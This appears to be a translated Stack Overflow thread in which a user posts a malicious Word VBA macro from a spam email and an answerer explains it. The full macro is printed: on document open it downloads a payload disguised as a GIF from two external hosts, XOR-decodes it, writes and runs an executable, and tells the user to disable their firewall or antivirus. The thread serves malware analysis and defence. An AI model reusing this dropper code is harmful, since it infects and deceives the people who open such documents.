vba - 垃圾邮件发送者/攻击者/坏人发送了包含大宏的 MS Word 文档。有人能理解这个宏的作用吗？

Question

让堆栈溢出发布此问题的示例上下文。

我想他在这里尝试将其在 mac 和 windows 上的工作结合起来。

#If VBA7 And Win64 Then
Private Declare PtrSafe Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As LongLong
Private Declare PtrSafe Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare PtrSafe Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare PtrSafe Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
Private Declare Function Du9sahjjfje Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal Operation As String, ByVal Filename As String, Optional ByVal Parameters As String, Optional ByVal Directory As String, Optional ByVal WindowStyle As Long = vbMaximizedFocus) As Long
Private Declare Function Uhdwuud Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function Uhduiuwd Lib "kernel32" Alias "GetTempFileNameA" (ByVal lpszPath As String, ByVal lpPrefixString As String, ByVal wUnique As Long, ByVal lpTempFileName As String) As Long
Private Declare Function Gshwjf Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If

这个攻击者似乎打开了这个文档。

Sub Document_Open()

Dim wyqud As String
Dim zdwie As Long
Dim rufhd As Long
Dim bldos As Integer
Dim mufid() As Byte

#If Win64 Then
Dim kmvbf As LongLong
#Else
Dim kmvbf As Long
#End If

这是在做什么？

ActiveDocument.Content.Delete
ActiveDocument.PageSetup.LeftMargin = 240
ActiveDocument.PageSetup.TopMargin = 100

Set myRange = ActiveDocument.Content

With myRange.Font
 .Name = "Verdana"
 .Size = 14
End With

ActiveDocument.Range.Text = "Check SSL certificate." & vbLf & "     Please wait..."

这会损坏我的电脑吗？

DoEvents
DoEvents
DoEvents
DoEvents

wyqud = lwyfu
zdwie = Gshwjf(0, "http://adenzia.ch/_vti_cnf/bug.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)

If zdwie <> 0 And rufhd < 152143 Then
zdwie = Gshwjf(0, "http://kingofstreets.de/class/meq.gif", wyqud, 0, 0)
rufhd = FileLen(wyqud)
End If


If rufhd < 154743 Then
ActiveDocument.Content.Delete
MsgBox "No internet access. Turn off any firewall or anti-virus software and try again.", vbCritical, "Error"
Exit Sub
End If

bldos = FreeFile
Open wyqud For Binary As #bldos
ReDim mufid(0 To LOF(bldos) - 1)
Get #bldos, , mufid()
Close #bldos

Call duwif(mufid())

不知道这是在做什么

wyqud = Left(wyqud, Len(wyqud) - 3)
wyqud = wyqud & "exe"

bldos = FreeFile
Open wyqud For Binary As #bldos
Put #bldos, , mufid()
Close #bldos


kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)

ActiveDocument.Content.Delete
MsgBox "The file is corrupted and cannot be opened", vbCritical, "Error"

End Sub

巧妙地编写了不可读的代码。

Public Function lwyfu() As String
  Dim djfie As String * 512
  Dim pwifu As String * 576
  Dim dwuf As Long
  Dim wefkg As String
  dwuf = Uhdwuud(512, djfie)
  If (dwuf > 0 And dwuf < 512) Then
    dwuf = Uhduiuwd(djfie, 0, 0, pwifu)
    If dwuf <> 0 Then
        wefkg = Left$(pwifu, InStr(pwifu, vbNullChar) - 1)
    End If
    lwyfu = wefkg
  End If
End Function

另一个函数

Public Sub duwif(mufid() As Byte)
  Dim dfety As Long
  Dim bvjwi As Long
  Dim wbdys As Long
  Dim dvywi(256) As Byte
  Dim wdals As Long
  Dim dwiqh As Long


  bvjwi = UBound(mufid) + 1

  For dfety = 10 To 265
    dvywi(dfety - 10) = mufid(dfety)
  Next

  wdals = UBound(dvywi) + 1

  dwiqh = 0
  For dfety = 266 To (bvjwi - 267)
    mufid(dfety - 266) = mufid(dfety) Xor dvywi(dwiqh)
    dwiqh = dwiqh + 1

    If dwiqh = (wdals - 1) Then
        dwiqh = 0
    End If
  Next

  ReDim Preserve mufid(bvjwi - 267)

End Sub

宏结束

Answer 1

评论正确；宏下载恶意软件/ spy 软件并执行它。

它会尝试两个 GIF URL(如果下载失败，甚至会提示用户禁用他们的防火墙/AV)。这两个 GIF 是相同的(相同的 SHA256 校验和)，它们有适当的 GIF header block (“GIF89a”)，它们甚至有一些字节描述图像数据应该。

该宏使用 duwif() 子例程(第 105 行)从下载的 GIF 中提取可执行二进制文件。它将二进制文件存储在一个临时文件中，该文件的引用由 lwyfu() 函数(第 90 行)创建。

宏然后在第 82 行执行二进制文件:

kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)

您可以修改宏以删除/注释执行语句并插入无害的内容。例如:

REM kmvbf = Du9sahjjfje(0, "Open", "explorer.exe", wyqud)
MsgBox wyqud

这会打开一个消息框，其中包含提取的二进制文件的路径，而不是执行它。

二进制校验和为(SHA256)

55f4cc0f9258efc270aa5e6a3b7acde29962fe64b40c2eb36ef08a7a1369a5bd

一些防病毒提供商将此文件标记为恶意软件，并且自动分析显示了一些可疑行为。

• VirusTotal.com Report
• Hybrid-Analysis.com Report